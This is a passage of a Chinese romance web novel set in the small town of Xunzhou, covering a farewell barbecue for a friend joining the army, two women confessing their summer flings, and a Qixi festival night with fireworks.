马超有的是从小混出来的拳脚功夫,马超他爸则是常年修车练出的一身腱子肉,这父子俩沟通的方式分外彪悍。 晁雨拉着马超他妈去自己家,叫晁二柱:“你去买点瓜子。” “买多少?”晁二柱问。 “五斤。” “多少?”晁二柱震惊了。 晁雨把马超他妈拐回家,就多了许辰懿这么个强力外援。 许辰懿一副卷发红唇的大御姐样儿,跷起二郎腿嗑起瓜子来却是分外的接地气,劝起马超他妈的时候,能从人类的起源开始讲起。 晁二柱买的那五斤瓜子,不是被马超他妈给吃的,而是全给许辰懿给嚯嚯了。 马超他妈离开后,许辰懿揉着自己的唇瓣:“哎哟给我嗑这大水泡。” “你挺牛。”晁雨对她竖起大拇指:“劝父母业务相当娴熟。” 许辰懿咧嘴一乐:“可能我老想着我妈要是还在,她能在方方面面怎么絮叨我。脑子里想得多了,就熟了。” 一句话说得晁雨心里挺不是滋味,钻进厨房去给她泡了杯菊花茶。 马超要去当兵这事算是定了下来。 他要比入伍时间早走一点,这两天就在收拾行李。 一来,学校那边还有些要处理的事。二来,用他自己的话说:“省得我每天在我爸面前晃着,他又反悔。” 走之前,马超要请所有人吃烧烤。 许辰懿挺感慨:“还以为我休完年假会是最早走的一个,想不到这小兔崽子比我还快。” 马超请他们吃烧烤那天是周六。 下午,许辰懿在晁雨房里睡午觉,晁雨琢磨着劝宁塔的方案。 直至接到马超的电话:“雨姐,你们怎么还没来?” 晁雨一怔:“这就烤上了?” 马超挺无语:“这都几点了,就算现杀猪这会儿也该烤上了。” “就来就来。” 晁雨简单收拾了下,跟许辰懿一起出门。 烧烤店比较偏,往霓山的方向走。 许辰懿一路走一路抓着晁雨的胳膊:“姐们儿,这么偏是去吃烧烤么?别一会儿把我给烤了。” 走了一会儿,一条土路的尽头,半面垮了大半的红砖墙露出来,边上是老板用塑料布牵出的棚子,无论晴天遮阳还是雨天挡雨,就它了。 这里生意不算多好,都是熟客,多年来也算维持了下来。 晁雨和许辰懿往那边走,一只土黄色的小狗颠颠地跑了过来。 许辰懿看乐了:“嘿!土狗。” 今晚上除了马超他们,只有另外两桌。为了免得辜屿被其他人看到麻烦,马超挑了最边上的那一桌。 招呼她们:“雨姐,辰辰姐,过来坐。” “我们点了些,你们要加什么?” 晁雨想了想:“鸡翅吧,不要翅根,整根的那种。”又跟许辰懿说:“这里的烤鸡翅好吃。” 洵州的老板都随性,都是拉条电线牵盏灯出来,连灯罩都不用。 晕黄的灯光映着烧烤上的辣椒粉,其实那辣椒粉一点不辣,装样子的。晁雨直到这时才发现,或许她潜意识里是故意迟到的。 因为她不知怎么面对离别。 从前无论怎么离开,读书、旅游,都会在一个夏天回到这里。马超的离开却像拉开一个序幕,所有人都长大了,未来他们不再拥有暑假,也不会再回到洵州来过一个落后的、老旧的、却悠然的、谙熟的夏天。 晁雨想到这里的时候,看了眼辜屿。 辜屿坐在最边上,喝了点酒,一张面孔还是冷白。他这样的人应该不会让自己喝醉,也不会让自己失控。 晁雨唯一在他身上见到的绯色,便是两人亲密缠绵时,他耳后冒出那道近似于过敏的痕。 晁雨总喜欢用指尖去撩拨,被辜屿擒住手腕,她又用嘴唇去撩,齿尖轻轻地磨。 “雨姐,还要么?”马超晃晃啤酒瓶。 这不是大城市酒吧里那种精致的小瓶啤酒,而是巨大的绿玻瓶,瓶底很厚,味道也更烈些。 “好啊。”晁雨端起从塑封里拆出来的小玻璃杯。 她平时是不常喝酒的,但今天这种场合不喝,说不过去。 席间聊起这个烧烤摊,是晁正声和马超爸爸年轻时喜欢来的,许辰懿大为震惊:“洵州是不是随便一家什么店拉出来,都是奔着百年老店去的?” 说起晁正声和马超他爸,大家又都想笑。 据说,晁正声年轻时是个喜欢写诗的文艺青年,马超他爸则是个把磁带录音机扛肩膀上、胳膊上纹一句自己也不懂的英文的社会哥。 很多年后,当马超他哥开始学英文了,才知道自己爸胳膊上纹的那句英文是: [Bananaisakindoffruit(香蕉是一种水果)]。 这不他妈废话么! 众人笑了半天。谁的青春没张扬肆意过,又逐渐被磨平了棱角,走入四平八稳的烟火里。 这老式啤酒的度数比晁雨预计得高点,喝了两杯,她有点头晕,吃了串烤鸡翅没压住。 便跟许辰懿说:“我出去吹会儿风。” 许辰懿正忙着跟马超划拳呢:“行。” 晁雨一个人走出去,远远走到那面断了一半的红砖墙边,肩膀倚着。 这里近山,带植物清芬的夜风吹在身上凉凉的很舒服。前方是很大一片空场,拆迁了也不知本打算修什么的,反正最终没修成,毕竟洵州的经济也就这样,就这么寥落的空着。 刚才偶遇的那只小土狗,正在空地里追一只鸡。 谁家的鸡跑出来了? 还有,鸡这个点怎么还没睡? 晁雨笑了声,听到身后有低低的脚步。回眸看了眼,是辜屿,正往冰柜走去。 因为冰柜的电线不好牵到烧烤摊这边来,所以放在很远的地方。 辜屿路过晁雨身边的时候,还和以前一样,没看她,也没跟她说话。 晁雨蜷起指节在红砖墙上轻蹭了下。 这种感觉,有点奇妙。 他们在深夜无比亲密的纠缠。 又在其他时间一如往昔。 晁雨望着前方的空地微微有些走神,以至于一个冰凉的东西碰到她侧脸时,她惊了下。 回过神,才发现辜屿走到冰柜去,是拿了瓶冰水。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >令晁雨没想到的是,辜屿会拿水瓶碰了下她的脸。这是一个介于亲密和正常之间的动作,有点微妙。 辜屿问:“喝多了?” “也没有。”晁雨抬手触了下自己的脸:“很红么?” 辜屿薄薄的眼皮半垂落下来。 顿了几秒,他把眼神从晁雨脸颊上微泛的酡红移开去:“也还好。” 晁雨的脸顿时更红了。 辜屿走开的时候,晁雨叫住他:“哎。” 辜屿回眸。 晁雨靠在红砖墙上,偏着头看他:“马超要走了。” 辜屿点了点头。 晁雨挑唇笑了笑。马超要走这种事,辜屿肯定无动于衷吧,这才是辜屿。 她问辜屿:“你呢?” “我什么?” “你什么时候走?春闻杯之前?” “嗯。” “那,”晁雨把被夜风拂乱的头发掖到耳后:“以后还会来洵州么?明年,后年。” 辜屿默默看着她。 “也许不会。”辜屿说:“越来越忙的话。” 晁雨笑笑:“我猜也是。” 她转回去靠着砖墙,继续看着土狗追鸡。 辜屿顿了顿,还是走到她旁边。 拧开水瓶递她:“喝么?” “啊,不用不用。”晁雨摆手。 “你喝多了。” 晁雨抬手又抚了下自己的脸:“或许有一点。” 又一阵短暂的沉默。 “在想什么?”辜屿问。 “在想……”晁雨笑着,一双眸子在夜色里很亮,扭过头来看着辜屿:“还好我还没来得及喜欢上你。” “还好。” - 辜屿走后,晁雨又一个人靠墙站了会儿。 她是真觉得庆幸。她不是什么生活里满是梦幻泡泡的十几岁年纪了,她很清楚,辜屿总归是要走的。 甚至她说的不是辜屿这次为「春闻杯」的走。 而是辜屿这样的人,不可能像晁正声或者马超爸爸那样,踏进一片烟火日常里来。他只会往更高处不胜寒的地方走。 他不是什么真正的佛子,他也会有一些很基本的欲望和悸动,但他没有那种把它转化为日常情感的神经。 所以晁雨觉得现在这样反而好。 她把许辰懿送的那个玩具狗钥匙扣掏出来。每捏一下,它就会欢快地喊:“姐姐!” 许辰懿不知从哪里蹦出来,一拍她的肩吓她一大跳。 “怎么样,喜欢姐们儿送你的这个钥匙扣吧?” 晁雨笑笑:“喜欢。” “喜欢你就挂一辈子。” “坏了呢?” “坏了我就再给你买啊。”许辰懿嫌弃地瞥她一眼:“你四不四傻?” 手机响起,许辰懿一看来电显示就啧了声,走到一旁去接电话:“喂,杜总。” 晁雨愣了愣。 太习惯许辰懿在洵州高亢的恣意的说话,好久没听见她这么精英范儿的腔调了。 许辰懿大约打了十分钟电话,好说歹说终于说服甲方,挂断手机走回晁雨身边来,嘀咕一句:“烦死了。” 许辰懿酒量很好,喝洵州的这种粗制啤酒也是不会醉的,只是脸上泛起好看的红晕,显得明丽的五官更加妩媚。 晁雨问:“年假还有多少天来着?” 许辰懿瞠目结舌地看了她好一会儿,一把捂住自己的心脏:“问这种问题,杀人诛心呐,姐妹。” 晁雨笑。 许辰懿正色答:“一周多,不到两周。” “高铁票买了么?” “没。”许辰懿倦懒地拖长语调:“不到最后一刻都不想买,谁想回北京去搬砖。” “唔。” 晁雨忽然间有点不知该说什么。 刚拖着行李箱回洵州的时候,她只是抱着赌气的想法,觉得自己一辈子都不要再回北京了。 现在回想起来,那时候她整个人脑子都是蒙的。 要到现在,她消化了这么段日子,她最好的闺蜜又要回北京了,她才真正意识到,她要离过去八年熟悉的生活,很远很远了。 那种生活里,有星巴克,有油醋汁和蔬菜沙拉,有手机里很多个APP、用来淘偶尔去见客户时需要穿的三线奢牌衣服。 而现在呢,晁雨默默看一眼空地里还在追鸡的土狗。 她甚至说不上喜不喜欢自己的家乡。 她喜欢跟家人待在一起,喜欢每天可以穿简单的T恤和牛仔裤,喜欢上班只需要跟九叔一个人打交道,喜欢天井里冰镇的西瓜和那棵百年的老桂树。 可她依然不喜欢这里的落后,闭塞,重男轻女和一切向婚姻看。 许辰懿问晁雨:“如果给你个机会的话,你还想回北京吗?” 晁雨想了想:“我不知道。” 她是真的不知道。 许辰懿跟她一起默默看了会儿土狗追鸡:“在洵州过的这个夏天,不能说是我人生中最好的夏天,但一定是我人生中最特别的夏天。” 晁雨问:“那你人生中最好的夏天是哪个?” 许辰懿嬉笑道:“记得姐们儿前年夏天签了个几千万的大合同么?就演艺中心的那个,项目奖金可有这个数。” 她冲晁雨比了个手势。 晁雨白她一眼:“庸俗。” 许辰懿啧啧两声:“你不庸俗?你心里门儿清,钱才是最重要的东西。” 一阵夜风拂过,晁雨这灵敏的鼻子嗅了嗅,空气里竟依稀有了桂花味。 许辰懿也闻到了:“这是桂花香么?” “是。”晁雨点头。 在洵州这样的水乡小城,种了不少的桂树。桂花渗入人们生活的方方面面,生了女儿要酿桂花酒,炒了猪油和白糖包进馅里就是桂花元宵,而有些上了年纪的老太太,到现在都仍抹着桂花头油。 所以一场秋天的来临,在洵州,也不以日历为准,而以一场桂花为序。 “不过这是早桂。”晁雨解释道:“跟我家那棵老桂树的品种不一样,还没到桂花真正开的时候。” 即便如此,陡然冒出的桂香还是让她生出一阵恐慌。 她的发小们、她的朋友,一个接一个的要离开了。 等到一场桂花雨覆上青石板路,这个夏天还会剩下些什么。 她看着许辰懿,也许是出于找个最信赖的人给这夏天留下些佐证,也许她一直就不想跟许辰懿之间有什么秘密。 终于下定决心开口:“我把辜屿弟弟给……” 与此同时,许辰懿也正看着她,下了好大决心般开口:“我把你弟给……” 两人同时惊愕地睁大眼,后面两个字是同时顺着惯性说出口的: “睡了。” 44. 第六件小事08 “——诶?!” 两人同时惊叫了一声,又同时反问出口:“你说什么?!” 再接着开口还是同时: “那可是我弟!” “那可是辜屿弟弟!” “等等,你等等。”许辰懿对着晁雨竖起一只手掌,另只手揉着自己的太阳穴:“那可是辜屿弟弟!哪个比较震惊?” 晁雨跟着许辰懿喊:“当然是我弟!” 她从小跟瘦猴儿一样又黑又丑的弟! 她印象里还在玩泥巴的弟! “你先说。” “你先说。” 许辰懿嘶了声:“说就说。就是我们去曲塘水镇的那次,去酒吧,喝多了,然后一来二去就……然后周日晚上,又去酒吧,又喝多了,就找借口让马超他们先回来了,然后就又……” 晁雨瞳孔地震:“你还睡了两次!” “那你又睡了几次?” “我……”晁雨一时语塞。 “换你交代。”许辰懿扯了下她的耳朵。 “就是你们滞留曲塘水镇的那个晚上,洵州下大雨,我和他在劝宁塔里遇到了,然后一来二去就……” 两人同时一脸的恍然大悟: “难怪你看到我从毛家小院出来什么都没问。” “难怪你看着我拖着行李回来什么都没问。” 当时两人都各怀鬼胎呗。 许辰懿没忍住噗哈哈的乐了:“真是姐们儿,真的,亲的,要不怎么发生这种事都在同一晚上呢?” 晁雨还没从震惊中回过神来:“你别笑!” 许辰懿笑了一阵,又凑近晁雨,神秘兮兮地问:“哎,辜屿弟弟虚不虚?要是他虚的话你告诉我,姐们儿教你点招式。” “说得你经验多丰富似的。”晁雨再清楚不过,许辰懿就是嘴上功夫厉害,看着妩媚开放,其实跟她一样没经验。 许辰懿一撩长卷发:“没吃过猪肉还没看过猪跑啊?姐们儿看过那么多资料,很会享受自己的身体好么。” 又问晁雨:“真不虚啊?” “嗯,不虚。”晁雨强调了遍:“特别、特别不虚。” “哎哟喂。”许辰懿又笑开了,一双眼跟狐狸似的。 “那你跟我弟呢?”晁雨受不了调侃,想反将她一军:“你也有挺多招式的呗?” 许辰懿的眼尾挑起:“说起你弟可就……” “打住。”晁雨对许辰懿竖起一只手掌。 是她自己嘴欠。 她问什么她弟。 她实在无法想象她弟已经变成一个成年男人了。不对,她不是无法想象,她是想都没法往这边想。 两人同时沉默了会儿。 晁雨问许辰懿:“为什么啊?谁先开始的?” “我吧。” 晁雨又震惊了:“你能看上我弟?我一直以为你看上的至少是Zac那样的。” Zac是以前亚轩的市场部总监,归国ABC,讲普通话时带点好听的口音,风度翩翩。 “油,忒油。”许辰懿替他下总结:“我一见任何油腻的男人,就很容易联想起我爸。可你弟,怎么说,挺干净的。” 晁雨斟酌了会儿:“有没有可能他不是干净,而是傻?” 许辰懿在她胳膊上拍了下。 晁雨捂着胳膊终于笑了:“他就是一小孩儿。” 许辰懿点头表示同意:“嗯,一小孩儿,肌肉发达的小孩儿。姐喜欢肌肉发达的。” “为什么?”晁雨问。 她以为许辰懿又要从自己的童年经历分析出来点什么。 结果许辰懿说:“姐的个人喜好,就喜欢肌肉发达的。” 晁雨:…… 许辰懿摆摆手:“不过你别慌啊,你最清楚我的家庭有多复杂,我那酒鬼爹指不定惹出什么幺蛾子来,我可没想跟你弟怎么着。” 晁雨听着难受:“我会那么想么?” 许辰懿:“总之我和你弟不是一路人。我对他,嗨,说直白点吧,觊觎他年轻美好的肉/体,睡完了我就不惦记了。” 又问晁雨:“你跟辜屿弟弟呢?怎么回事?” 晁雨对辜屿的感觉千回百转,要细说起来,还挺复杂。 她想了想,套用许辰懿刚才的那句话:“睡完了我就不惦记了。” “那就好。”许辰懿说。 晁雨:? “好什么?” 许辰懿咧嘴一笑:“你要是说你跟辜屿弟弟正儿八经谈恋爱,我还挺担心的。毕竟他是一个那样的人,我不是说你配不上他啊,就是说你们的年龄、所处的位置、性格都差挺大的。” 晁雨:“明白。” “你刚经历了老贱人那么档子倒霉事。”许辰懿说着理了下晁雨的头发:“我就希望你的下一段感情,顺顺当当的。” 这话跟葛洁说的一样。 晁雨点点头:“会的,等睡够了我就把他蹬了,去寻找我下一段稳稳当当的恋情。” 许辰懿看着她啧啧两声:“真看不出来啊晁雨。” “你一个上升星座是摩羯、从来都特踏实的人,能干出这么出格的事。” 晁雨:“连我自己都没想到。” 许辰懿凑近她耳边:“干都干了,姐真的教你点招式,不然不尽兴……” 晁雨一把推开她:“去去去。” 许辰懿嘎嘎乐。 两人回到烧烤桌边,马超敬了一圈酒,最后来到晁雨身边,挠了下头:“雨姐。” 晁雨:“干嘛呀,你不会要告诉我你暗恋我吧。” 马超大惊:“你说什么?” 男生们都笑喷了。 马超又挠了下头:“我永远记得我初二那年,跟老王他们干仗,他们刀都掏出来了,是你路过,报了警,不然我今天可能就不能坐在这里了。” 晁雨记得很清楚。 马超初二那一年,便是他哥殉职的那一年。 晁雨举起酒杯:“其实吧我第一反应也是跑了。” 马超轻碰了一下她的杯子:“可你还是绕回来了。” 晁雨有点不知该说什么。 中国人从来含蓄,这一点在素来保守传统的洵州又表现得更明显。她想说“海阔天空”,她想说“一路顺风”,可她最后说的是:“这杯我干了啊。” “别别。”马超说:“我干了,你喝一半。” 烧烤散场,男生们也没跟马超说什么,纷纷默默地怼了一下拳。 马超半是玩笑半认真地说:“明天谁来车站送我跟谁急啊,以后当不了兄弟了。” 晁二柱憋不住说了句:“超哥,高考那会儿你就琢磨着要不要去当兵,后来你还是考了大学,我还以为你放弃这念头了。” “怎么说呢。”马超一咧嘴:“可能到最后,我还是不想我爸妈觉得,留下来的是我而不是我哥,真遗憾啊。” 一行人走在成排的梧桐树下,稀稀落落,队伍拉得老长。 晁雨挽着许辰懿的手臂走在最末,马超跟晁二柱说着话的时候,晁雨望过去。 辜屿正走在他们身后,路灯落在他淡漠的脸上,照不透似的,他微微走神,扭头望着路边树上的一只鸟。 和每次一样,一路走,队伍里的人越变越少。 走到木安街尾,就只剩晁雨和许辰懿、辜屿和晁二柱四个人了。 直到辜屿钻进爬满葡萄藤的月门,许辰懿在晁雨臂弯里悄悄掐了下。 晁雨冲她微一蹙眉,又冲晁二柱的方向努努嘴。 三人回到晁家老宅,晁二柱往一楼自己的卧室走去。 许辰懿踏上咯吱作响的木楼梯,问晁雨:“你不跟辜屿弟弟去啊?” “你呢?你不去找……我弟啊?”晁雨打了个磕巴,觉得这招得慎用,杀敌一千自损八百。 毕竟每次想到她弟已是个成年男人这件事,她还是不能面对。 “不去。”许辰懿懒洋洋打个呵欠:“睡了他两次,足够了。你呢,待会儿去不去找辜屿弟弟?” 晁雨不想再跟许辰懿之间有任何秘密,坦诚道:“要去。” “贪婪的女人。”许辰懿啧了声:“姐们儿教你几招。” “不听。”晁雨捂住耳。 “不听也得听。”许辰懿揪过她的肩:“去都去了,别浪费。” 晁雨深夜出门的时候,辜屿在马路对面等她。 两人纠缠在一起的时候,辜屿一边填满她的渴望,一边捏住她下巴:“走什么神?” 他年纪小,可他进攻意识很强,喜欢当掌控局势的那个人。 晁雨脑子里在想许辰懿刚说的那些乱七八糟的招式,又不想承认。 顺口胡诌道:“许辰懿说她喜欢肌肉发达的。” 辜屿挺腰的动作滞了下,垂眸看着她。 “你也喜欢肌肉发达的?” 晁雨默默抿唇。 辜屿的锋锐也体现在这方面,犀利而不留余地。晁雨该服个软,指甲在他小腹上划拉一下说“我喜欢你这样的。” 可她说:“我想背对着你。” 这是许辰懿教她的“招式”之一。 辜屿沉默地把她翻过来。 晁雨双手撑在藏蓝色的床单上。她也不知自己怎么了,她希望一切都是激烈的、暴烈的、不留余地的,让她以后平静的生命里想起这个夏天,就像想起劝宁塔外的那场暴雨。 辜屿的确在这样对待她。 沉默地进攻。像要征服什么、证明什么、拥有什么。 - 晁雨悄悄离开了毛家小院。 过斑马线的时候,月光烫着她的脊背,她觉得肩上一阵疼痒。 想起刚才结束后。 她蜷着双膝跪坐在藏蓝色的床单上,辜屿从身后抱着她。 说不上为什么,她伸手关了台灯,整个房间隐没入一阵黑暗。辜屿在她肩上咬了口,她想叫,又忍了。 辜屿一手搂着她腰,另一手托在她胸前,她感受着自己尚未平复的心跳,在一片黑暗里低声说:“辜屿。” “有些时候我真觉得,你其实有点喜欢我。” 沉默良久。 一片黑暗中,无人答她的话。 - 不久便是七夕。 九叔抓了晁雨的壮丁:“跟我一起去执勤。” “什么?” “步行街要搞活动,请了几个小明星什么的,企事业单位都要派代表,带着红袖章去维持秩序。” “发钱么?” “不发,发盒饭。” “那我为什么要去?” “可能因为我们单位就我们俩,而分配到了两个执勤名额?”九叔慢悠悠喝口浓茶:“这样,你再给我变个人出来,你就不用去了。” 晁雨无奈,领到了九叔发给她的红袖章。 她问许辰懿:“你七夕怎么过?” “过什么过。”许辰懿打个呵欠:“这种节日不适合老姐姐,老姐姐只适合在家睡觉。” 晁雨就跟九叔去执勤了。 他们的执勤点被分配在一个灌木丛边,离那些小明星唱跳的舞台说近不近,说远不远。 说远呢,喧哗的人声差点没把她的头盖骨掀翻。 说近呢,乌泱泱的人堆里,舞台上那些小明星是连个头顶都看不到。 不一会儿发盒饭了。 两荤一素,土豆烧鸡,鹌鹑蛋红烧肉,炒莲白。 晁雨抬头往九叔的盒饭里看了眼:“为什么你的都是鸡肉而我的是鸡皮?” 九叔默默不言语。 “为什么你的红烧肉都是瘦肉而我的是肥肉?” 九叔继续不讲话。 “为什么你的莲白都是菜叶而我的是菜杆子?” 九叔把盒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饭往她面前一怼:“给给给,拿去拿去。” 哈哈,逗完了老头儿,晁雨捡了根灌木枝,在泥地上划拉着。 他们这块也没什么秩序可维持,人都集中在舞台那边了。 九叔瞥了她眼,捡了根灌木枝,把她的灌木枝挡开了:“这儿错了。” 她看着九叔。 九叔也用灌木枝在泥地划拉了下:“你这道随梁枋,撑得住五梁架么?瓜柱这么搭,根基就不稳,还怎么往上搭平梁?” “可以啊九叔。” 九叔哼了声,丢开灌木枝:“你以为木匠是白当的?你去问问你爸,每年给你家维修祖宅的那些个木匠,哪个基本功比你差?” “这问题我也知道,我就是想不出还有什么别的架法。”晁雨问九叔:“你觉得呢?” “我哪儿知道。”九叔翻个白眼:“我就是个木匠,祝境鹤都想不出来的问题,我上哪儿知道去。” 晁雨埋头苦思了阵。 啊发现有问题又解不出来的感觉真痛苦,跟便秘似的。 这时有人喊:“姐。” 晁雨抬眸,见晁二柱和几个男生一起走了过来。 她总觉得有点怪。 顿了下反应过来,因为马超不在。 马超这人挺混的,他说不让送,就真的谁都没去送他。他走的那天是周日,晁雨在家闷头想方案。 要直到现在,平时熟悉的一堆男生走过来,里面少了马超的身影。 晁雨才突然发现,离别的感觉或许就是这样,并不惊天动地,就是像完整的拼图少了一块似的。 这时,辜屿从一旁捏着手机走过来,微蹙着眉。 晁雨瞥了他一眼,收回眼神看着面前的男生们,发现他们正众脸震惊地看着她和九叔。 有个男生戳了戳晁二柱的胳膊:“雨姐……口味挺极端啊。” 晁雨:…… 她把红袖章往那眼神不好的男生面前亮了亮:“有没有可能,我在七夕跟一个老大爷出来,不是来约会的?” 男生恍然大悟:“哦!” 这还需要恍然大悟,晁雨真服了。 一个女生抱着个透明的玻璃缸过来,里面装满了各种彩色的圆球:“小姐姐,抽一个吧,我们今天有任务的。” 晁雨看了眼玻璃缸上贴的标签,是一个巧克力品牌的推广。 晁雨自己身为一个打工人,最不喜欢干的事就是为难其他打工人。从前在北京下班回家,一路她能接无数的传单。 于是她伸手进玻璃缸里,摸出个浅黄的圆球。 旋转打开,抽出里面的一张纸条,看了眼,交给女生,嘴里问:“什么意思?” 女生笑盈盈接过,往对面的男生堆里看了眼,把纸条往目测最帅的那个递过去:“小哥哥,你帮忙把这句诗念出来,就可以送你们一盒巧克力哟。” 辜屿蒙着口罩,单看凌厉的眉眼,也无疑抢眼得过分。 晁雨大概明白这活动的形式了——圆球里装的都是古今中外一行行情诗,要男女生互动来烘托七夕的氛围。 晁雨抽到的这句诗,怎么说呢: [我曾经默默无语、毫无指望地爱过你, 我既忍受着羞怯,又忍受着嫉妒的折磨; 我曾经那么真诚、那么温柔地爱过你。] 这诗能入选,只能说打工人为了完成任务,把网上能搜到的各种情诗都放进了。 辜屿接过纸条瞥了眼。 晁雨心里跳了下。 其实现在回想起来,跟明恒宇的那段关系是有迹可循的。明恒宇说过合适、说过在一起,但从没说过喜欢。 晁雨的近二十七年人生里,从未听人说过“喜欢”。 忽然,舞台边上的人群开始闹哄哄往同一个方向跑。 晁雨紧张起来:“怎么了怎么了?我们要跟着跑吗?” 九叔挺无语地看了她眼:“我给你的活动流程单,你是一点没看呐。” 晁雨:“哦,给我妈拿去垫锅了。” “马上要放烟花了,雩溪那边。” 九叔正说着,一朵蓝紫的烟花腾空而起,砰地当空炸开。 九叔吓了一跳:“这比预计的早了两分钟吧?这群刚看完演出的孩子还没来得及跑过去呢。” 洵州的烟花并不高级。 没有任何花样或绚丽的色彩,就是记忆中最朴素的蓝紫和粉红,升腾到空中炸出一个圆。甚至那圆也并不饱满,零星的火光坠落下来,像朵营养不良的菊花。 可烟花就是烟花。 当它腾空的时候,人会本能地想到浪漫、想到震撼、想到跟日常琐碎离得很远的那些情绪。 辜屿站在烟花下,溪边的夜风把他墨黑的T恤下摆吹得列列,冷白瘦长的手指捏着晁雨刚刚抽出的那张纸条。 有那么一瞬间,晁雨以为他要开口了。 可最终,他把纸条往旁边男生手里一递。 男生接过:“我念啊?好好好。”念完又问捧着玻璃缸的品牌方女生:“哪种巧克力啊?能选口味吗?我要牛奶的不要黑巧。” 晁二柱在一旁催促:“快点,我们也要过去看烟花了。” 晁雨也不知道他们一帮男生,在七夕晚上出来瞎晃个什么劲。 “姐,你去么?” 晁雨望一眼雩溪方向升腾而起的烟花,这方位的视角并不好,烟花被各种屋顶檐角挡了大半。 晁雨笑笑:“算了,你们去吧,我跟九叔一起执勤呢。” “那快点。”晁二柱催促那拿巧克力的男生:“拿了赶紧走,什么口味的啊分我一颗。” 晁雨望了眼男生们鱼贯离去的背影。 即将收回视线前,她却看到,辜屿跟那个拿巧克力的男生说了句什么。 男生把刚刚写着诗句的纸条递给辜屿。 辜屿折了两折,收进了自己口袋。 45. 第六件小事09 晁雨说不上心里什么感觉。 戳了一下、晃了一下,酸了一下、跳了一下,很难描述的滋味。 九叔斜着眼瞟她:“不去看烟花啊?留在这里陪我这个老头子。” 晁雨顺嘴答:“怕你扣我钱。” 九叔笑了声:“今晚上义务劳动也没钱啊,就一盒盒饭,你刚才已经吃了,想扣也扣不了了。” “算了。”晁雨重新把地上的灌木枝捡起来:“还是留下来陪你,不然你多寂寞啊是吧。” 九叔哼了声:“那是你不懂我的乐趣。” 晁雨之前有那么一瞬想去看烟花,是因为她突然发现,烟花很像这个夏天,璀璨的、脱离了束缚的、短暂的。 可她现在,无论如何不会去了。 因为她亲眼看见辜屿把那张写着诗的纸条,收进了口袋。 要是辜屿刚刚念了,晁雨可能觉得也没什么。偏偏他回避,又做了这样的动作。 他到底什么意思?想不清的时候,人就喜欢逃避。 晁雨拿灌木枝戳戳九叔的鞋:“木匠师傅。” “干嘛?” “你看这儿啊……”晁雨拿着灌木枝一戳一戳,把自己的疑惑指给九叔看。 等到烟花放完,这场七夕活动终于结束了。 晁雨在灌木边的小板凳上坐了整晚,起身时只觉得一阵腰疼。她看了眼舞台那边,地面上散落着各种空饮料瓶、塑料袋、泡泡糖包装纸、干脆面袋。 晁雨走过去捡了一会儿。九叔跟过去,和她一起捡了一会儿。 可,晁雨抬头看了眼。 捡瓶子这事怎么跟吃面似的,有时候你会觉得面越吃越多,这会儿瓶子也越捡越多。 晁雨又捡了好一会儿,把手里的瓶子往地上一扔:“去他的,累死我了。” 九叔跟着把手里的瓶子一扔:“去他妈的,累死我了。” “嘿老头儿,你骂得比我脏。” 晁雨扶着腰站了会儿,无奈笑着把刚才扔的那个瓶子捡起来,扔进垃圾桶,这才跟九叔一起走了。 一老一少走在路灯下,九叔背着手,影子团成矮矮的一团。 “丫头我问你,为什么喜欢建筑设计?” 晁雨坦白道:“为了功成名就。” 九叔哂笑一声,悠悠地唱起了昆戏: “可知我常一生儿爱好是天然?恰三春好处无人见……” 等到一个岔路口,九叔和晁雨分开了,晁雨一个人往晁家老宅的方向走。 没想到,辜屿在交通标志灯下等她。 晁雨愣了下走过去,想说“要不今晚算了吧,你是个下围棋的也不是搞铁人三项的,体力怎么那么好啊”。 辜屿比她先开口:“去放烟花么?” 晁雨又愣了:“什么?” “放烟花。”辜屿淡淡地问:“去么?” - “哦。”晁雨停了两秒才答:“好啊。” 两人又一同往雩溪方向走去。 说真的,一路的风景并不好看,尽是游客遗落下来的空饮料瓶和塑料袋。晁雨强忍住去捡的冲动,毕竟她这人就是挺爱操心的。 走到雩溪边,辜屿蒙着口罩,往路边一间小店走去。 洵州这种水乡小城,自从去年解除禁鞭后,年节时分都可以买到烟花炮竹了。 辜屿出来的时候,手里拎着个不大的纸盒,上面印着喜羊羊和美羊羊。 晁雨心想:洵州人民真的很偏爱喜羊羊,现在更流行的不是熊出没吗? 两人站到溪边,如果强忍着不去看脚边那些塑料袋的话,这里的风景很美。 洵州的一切都是柔的,连山的棱角也不锋利,在夜色中连绵。好像有人蘸了一笔浓墨,挥笔一落便是雩溪,再就着笔尖残余的墨一挥,就成了远处更淡些的霓山。 溪边空无一人。辜屿摘了口罩,把烟花近溪放着。 他不抽烟,身上的味道总是很干净,手里一只打火机也是刚刚在小店里买的,很不入流的淡红色塑料壳。 晁雨看着他过去点烟花。 引线燃了,嘶嘶嘶地往前跑。辜屿退回来,跟晁雨隔着段距离站着。 可等引线烧到烟花脚下,动静没了。 又等了会儿,还是没动静。 晁雨向烟花走过去,辜屿蹙眉拦她:“哎。” “没事。” 晁雨鼻子灵,耳朵也灵。小时候在老宅天井里放烟花,晁二柱吓得哇哇哭,都是她去点的。 她走过去先远远看了眼,就知道自己猜得没错:引线已经熄了。 确认安全后,她才蹲下仔细检查了下,跟辜屿说:“引线留得太长,火药可能又受了点潮,这是个哑炮。” 接着晁雨就笑了半天。 毕竟在向来八风不动的围棋冠军脸上,看到一丝真正的惊愕还挺难得的。 晁雨想了想,要不要回小店去找收银员。 后来还是秉持那个原则:打工人不要为难打工人,就算了。 她伸手剥了剥残存的引线头,把它拔下来杜绝安全隐患,忽然想到:要是像这样把五梁架留得长一点,那么旁边下金檩和金柱的承重关系会不会有改变? 她站起来把烟花扔进垃圾桶。 辜屿看她一眼。 她笑笑说:“算啦。” 可能人生终究难得圆满。在这个她允许自己放纵的夏天,她终于也没在机缘巧合下听到辜屿宣之于口的“爱”或“喜欢”。 也注定不会完整看到一场像这个夏天一样、璀璨又短暂的烟花。 走回去的时候,晁雨看了眼路边停着的共享单车。 问辜屿:“你会骑车么?” 辜屿用看外星人的眼神看了她眼。 晁雨:…… 这不是因为辜屿是家境阔绰的小少爷么!成名又早,就这国宝的程度,别说出入有专车,就算出入有人抱着他走也不稀奇。 晁雨过去扫码,解锁了一辆车。 其实自从骑电瓶车摔了一次之后,她骑这种两个轮子的多少有点怵。但今天她跟轧马路似的,来回来去走了那么多趟,是真走不动了。 骑上又觉得还行,还是能掌握好平衡。 她往家的方向骑去,辜屿骑在她身后。 